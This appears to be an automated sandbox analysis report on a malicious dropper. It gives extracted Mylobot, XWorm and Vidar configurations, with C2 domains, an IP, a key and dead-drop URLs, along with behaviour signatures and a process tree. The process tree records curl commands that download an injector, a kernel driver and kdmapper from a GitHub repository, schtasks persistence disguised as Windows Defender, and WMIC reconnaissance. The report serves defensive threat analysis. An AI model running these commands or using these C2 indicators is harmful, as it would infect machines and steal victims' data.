Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- max time kernel
150s - max time network
159s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/02/2026, 09:27
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample260211-leyn8aes8e
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Malware Config
Extracted
-
mylobot
-
pqrqtaz.ru:9879
-
pickcas.ru:6464
-
quwkbin.ru:3496
-
rkbupij.ru:6653
-
pcqmayq.ru:3629
-
mmuliwe.ru:3541
-
stoizji.ru:5189
-
sfdfrhh.ru:3511
-
ynciazz.ru:4127
-
mkglhnw.ru:1946
-
njeeili.ru:9987
-
dldzeoo.ru:7525
-
tkbiqjq.ru:5145
-
uenosbl.ru:2935
-
faayshc.ru:9865
-
nttfazc.ru:6761
-
nfwsyog.ru:7172
-
uyfusxm.ru:7372
-
hxkclwx.ru:1294
-
zgoysam.ru:2338
Extracted
-
xworm
-
196.251.107.104:1177
-
8FhK4zCLETjo4IXf
-
install_file
USB.exe
Extracted
-
vidar
-
15.4
-
7b15bae1e3912ef2376af2468b6b714dn
-
ty5r0t
-
https://telegram.me/nc1anasy
-
https://steamcommunity.com/profiles/76561198785836552
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Signatures
- Detect Xworm Payload 1 IoCs
- Detects DonutLoader 1 IoCs
- Detects Vidar Stealer 1 IoCs
- DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- Mylobot
Botnet which first appeared in 2017 written in C++.
- Mylobot family
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Enumerates VirtualBox registry keys 2 TTPs 2 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Downloads MZ/PE file 11 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Looks for VMWare services registry key. 1 TTPs 2 IoCs
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 29 IoCs
- Loads dropped DLL 34 IoCs
- Themida packer 5 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 7 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- UPX packed file 8 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 25 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Inno Setup is an open-source installation builder for Windows applications. 5 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Modifies registry class 5 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 35 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"4⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows Defender Security" /tr "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\system32\svchost.exe"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hbvTmbP46IIEeHP1.exe"C:\Users\Admin\AppData\Local\Temp\Files\hbvTmbP46IIEeHP1.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\dwareogfn.dll https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/SonyGamaManager.dll --silent > nul 2>&14⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o C:\Windows\Temp\dwareogfn.dll https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/SonyGamaManager.dll --silent5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\injectorOld.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/injectorOld.exe --silent > nul 2>&14⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o C:\Windows\Temp\injectorOld.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/injectorOld.exe --silent5⤵
- Downloads MZ/PE file
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\driver.sys https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/driver.sys --silent > nul 2>&14⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o C:\Windows\Temp\driver.sys https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/driver.sys --silent5⤵
- Downloads MZ/PE file
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\mapper.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/kdmapper_Release.exe --silent > nul 2>&14⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o C:\Windows\Temp\mapper.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/kdmapper_Release.exe --silent5⤵
- Downloads MZ/PE file
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\dwareinj.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/pclient.exe --silent > nul 2>&14⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o C:\Windows\Temp\dwareinj.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/pclient.exe --silent5⤵
- Downloads MZ/PE file
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-LKKOTPXNZT.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-LKKOTPXNZT.tmp\Setup.tmp" /SL5="$90064,2668797,842240,C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe" /VERYSILENT /PASSWORD=487f1878-6b19-4d1e-baec-6fcf9b5529515⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-H97KEILAH3.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-H97KEILAH3.tmp\Setup.tmp" /SL5="$1002BE,2668797,842240,C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe" /VERYSILENT /PASSWORD=487f1878-6b19-4d1e-baec-6fcf9b5529516⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\9fe8c301-e9e2-49e9-86dc-f86f5c3d8bf8\eServiceHost.exe"C:\ProgramData\9fe8c301-e9e2-49e9-86dc-f86f5c3d8bf8\eServiceHost.exe" -Embedding7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\zp.exe"C:\Users\Admin\AppData\Local\Temp\Files\zp.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /tn "BEB61549A2D97827" /tr "C:\Users\Admin\AppData\Roaming\BEB61549A2D97827\BEB61549A2D97827.exe"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EmmetPROD.exe"C:\Users\Admin\AppData\Local\Temp\Files\EmmetPROD.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic computersystem get name, TotalPhysicalMemory /Value && wmic os get caption /Value && wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value && ipconfig | find "IPv4" | find /N ":" | find "[1]"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic computersystem get name, TotalPhysicalMemory /Value5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic os get caption /Value5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\ipconfig.exeipconfig5⤵
- System Location Discovery: System Language Discovery
- Gathers network information
-
-
C:\Windows\SysWOW64\find.exefind "IPv4"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\find.exefind /N ":"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\find.exefind "[1]"5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\darts-pixelit.exe"C:\Users\Admin\AppData\Local\Temp\Files\darts-pixelit.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\darts-pixelit.exe"C:\Users\Admin\AppData\Local\Temp\Files\darts-pixelit.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RankupServicecleaner.exe"C:\Users\Admin\AppData\Local\Temp\Files\RankupServicecleaner.exe"3⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\Files\donut.exe"C:\Users\Admin\AppData\Local\Temp\Files\donut.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\random.exe"C:\Users\Admin\AppData\Local\Temp\Files\random.exe"3⤵
- Checks BIOS information in registry
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe"C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\namu864.exe"C:\Users\Admin\AppData\Roaming\namu864.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cmstp.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\.\cmstp.exe namu864.inf5⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exe"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exe"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exeC:\Users\Admin\AppData\Local\Temp\Files\svchost.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exeC:\Users\Admin\AppData\Local\Temp\Files\svchost.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exeC:\Users\Admin\AppData\Local\Temp\Files\svchost.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Roaming\BEB61549A2D97827\BEB61549A2D97827.exeC:\Users\Admin\AppData\Roaming\BEB61549A2D97827\BEB61549A2D97827.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\ProgramData\9fe8c301-e9e2-49e9-86dc-f86f5c3d8bf8\eServiceHost.exeC:\ProgramData\9fe8c301-e9e2-49e9-86dc-f86f5c3d8bf8\eServiceHost.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exeC:\Users\Admin\AppData\Local\Temp\Files\svchost.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Roaming\BEB61549A2D97827\BEB61549A2D97827.exeC:\Users\Admin\AppData\Roaming\BEB61549A2D97827\BEB61549A2D97827.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
ProtobufLite.dll
eServiceHost.exe
msvcp140.dll
sciter-x.dll
vcruntime140.dll
02.08.2022.exe
EmmetPROD.exe
NAMUVPN7.exe
RankupServicecleaner.exe
Setup.exe
darts-pixelit.exe
donut.exe
hbvTmbP46IIEeHP1.exe
loader.exe
random.exe
svchost.exe
t2.exe
zp.exe
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_lzma.pyd
base_library.zip
libffi-7.dll
python38.dll
ucrtbase.dll
Setup.tmp
_isdecmp.dll
namu864.exe
memory/1592-451-0x0000000000CF0000-0x0000000000CF4000-memory.dmp
memory/2840-146-0x0000000000660000-0x0000000000674000-memory.dmp
memory/2876-389-0x0000000140000000-0x000000014064A000-memory.dmp
memory/2876-482-0x0000000140000000-0x000000014064A000-memory.dmp
memory/2980-454-0x0000000000CF0000-0x0000000000CF4000-memory.dmp
memory/3008-353-0x00000000073C0000-0x00000000073CA000-memory.dmp
memory/3008-199-0x000000006F050000-0x000000006F1BA000-memory.dmp
memory/3008-226-0x000000006F050000-0x000000006F1BA000-memory.dmp
memory/3008-260-0x00000000062D0000-0x00000000062E0000-memory.dmp
memory/3008-351-0x0000000006CC0000-0x0000000007264000-memory.dmp
memory/3008-352-0x0000000007410000-0x00000000074A2000-memory.dmp
memory/3312-106-0x0000000001530000-0x0000000001531000-memory.dmp
memory/3312-34-0x0000000003360000-0x000000000339A000-memory.dmp
memory/3312-48-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-49-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-53-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-12-0x0000000003360000-0x000000000339A000-memory.dmp
memory/3312-54-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-47-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-11-0x0000000003260000-0x0000000003294000-memory.dmp
memory/3312-46-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-50-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-45-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-43-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-42-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-52-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-44-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-41-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-40-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-39-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-14-0x0000000003360000-0x000000000339A000-memory.dmp
memory/3312-211-0x0000000001500000-0x0000000001501000-memory.dmp
memory/3312-63-0x0000000009280000-0x00000000092BA000-memory.dmp
memory/3312-29-0x0000000009240000-0x000000000927A000-memory.dmp
memory/3312-27-0x0000000009240000-0x000000000927A000-memory.dmp
memory/3312-22-0x0000000009720000-0x000000000975A000-memory.dmp
memory/3312-20-0x0000000009720000-0x000000000975A000-memory.dmp
memory/3312-17-0x00000000032A0000-0x00000000032A1000-memory.dmp
memory/3312-157-0x00000000031D0000-0x00000000031D1000-memory.dmp
memory/3312-51-0x0000000001510000-0x0000000001520000-memory.dmp
memory/3312-65-0x0000000009280000-0x00000000092BA000-memory.dmp
memory/3908-397-0x0000000000400000-0x00000000005BC000-memory.dmp
memory/3908-366-0x0000000000400000-0x00000000005BC000-memory.dmp
memory/3908-367-0x0000000000400000-0x0000000000502000-memory.dmp
memory/3908-368-0x00000000042D0000-0x00000000042E2000-memory.dmp
memory/4012-30-0x000001E836C00000-0x000001E836C9B000-memory.dmp
memory/4076-86-0x0000000000680000-0x0000000000684000-memory.dmp
memory/4076-82-0x0000000000680000-0x0000000000684000-memory.dmp
memory/4104-222-0x0000000003A50000-0x0000000003A74000-memory.dmp
memory/4104-88-0x0000000000880000-0x00000000008B6000-memory.dmp
memory/4104-89-0x0000000000880000-0x00000000008B6000-memory.dmp
memory/4104-91-0x0000000000880000-0x00000000008B6000-memory.dmp
memory/4104-94-0x0000000000880000-0x00000000008B6000-memory.dmp
memory/4104-223-0x0000000003A80000-0x0000000003A98000-memory.dmp
memory/4104-221-0x0000000003440000-0x0000000003A48000-memory.dmp
memory/4104-92-0x0000000000880000-0x00000000008B6000-memory.dmp
memory/4104-220-0x0000000002A30000-0x0000000002AAE000-memory.dmp
memory/4104-90-0x0000000000880000-0x00000000008B6000-memory.dmp
memory/4360-218-0x000000006F050000-0x000000006F1BA000-memory.dmp
memory/4360-217-0x000000006F050000-0x000000006F1BA000-memory.dmp
memory/4888-2-0x0000000004B70000-0x0000000004B80000-memory.dmp
memory/4888-31-0x0000000004B70000-0x0000000004B80000-memory.dmp
memory/4888-33-0x0000000005F20000-0x0000000005F9E000-memory.dmp
memory/4888-32-0x0000000004D20000-0x00000000052D3000-memory.dmp
memory/4888-0-0x0000000000280000-0x0000000000288000-memory.dmp
memory/4888-93-0x0000000000D70000-0x0000000000D71000-memory.dmp
memory/4888-1-0x0000000004BF0000-0x0000000004C8C000-memory.dmp
memory/5156-162-0x0000000003230000-0x00000000032AE000-memory.dmp
memory/5156-160-0x0000000000630000-0x0000000000A67000-memory.dmp
memory/5204-23-0x0000018942800000-0x000001894289B000-memory.dmp
memory/5224-200-0x0000000000D90000-0x00000000011C7000-memory.dmp
memory/5224-201-0x0000000005A30000-0x0000000005AAE000-memory.dmp
memory/5388-84-0x0000000000400000-0x0000000000436000-memory.dmp
memory/5388-87-0x0000000000400000-0x0000000000436000-memory.dmp
memory/5388-96-0x0000000000A40000-0x0000000000A64000-memory.dmp
memory/5388-95-0x0000000002B00000-0x0000000003108000-memory.dmp
memory/5388-97-0x0000000000A70000-0x0000000000A88000-memory.dmp
memory/5424-123-0x0000000140000000-0x0000000140A09000-memory.dmp
memory/5424-119-0x0000000140000000-0x0000000140A09000-memory.dmp
memory/5424-118-0x0000000140000000-0x0000000140A09000-memory.dmp
memory/5424-107-0x0000000140000000-0x0000000140A09000-memory.dmp
memory/5424-129-0x0000000001FF0000-0x000000000272F000-memory.dmp
memory/5736-159-0x00000000009D0000-0x0000000000AAC000-memory.dmp
memory/5736-202-0x00000000009D0000-0x0000000000AAC000-memory.dmp
memory/5768-415-0x0000000000400000-0x0000000000487000-memory.dmp
memory/5768-495-0x0000000000400000-0x0000000000487000-memory.dmp
memory/5812-133-0x00000000009D0000-0x0000000000AAC000-memory.dmp
memory/5812-163-0x00000000009D0000-0x0000000000AAC000-memory.dmp
memory/5816-66-0x000001707A200000-0x000001707A29B000-memory.dmp
memory/6056-16-0x000002097B0D0000-0x000002097B16B000-memory.dmp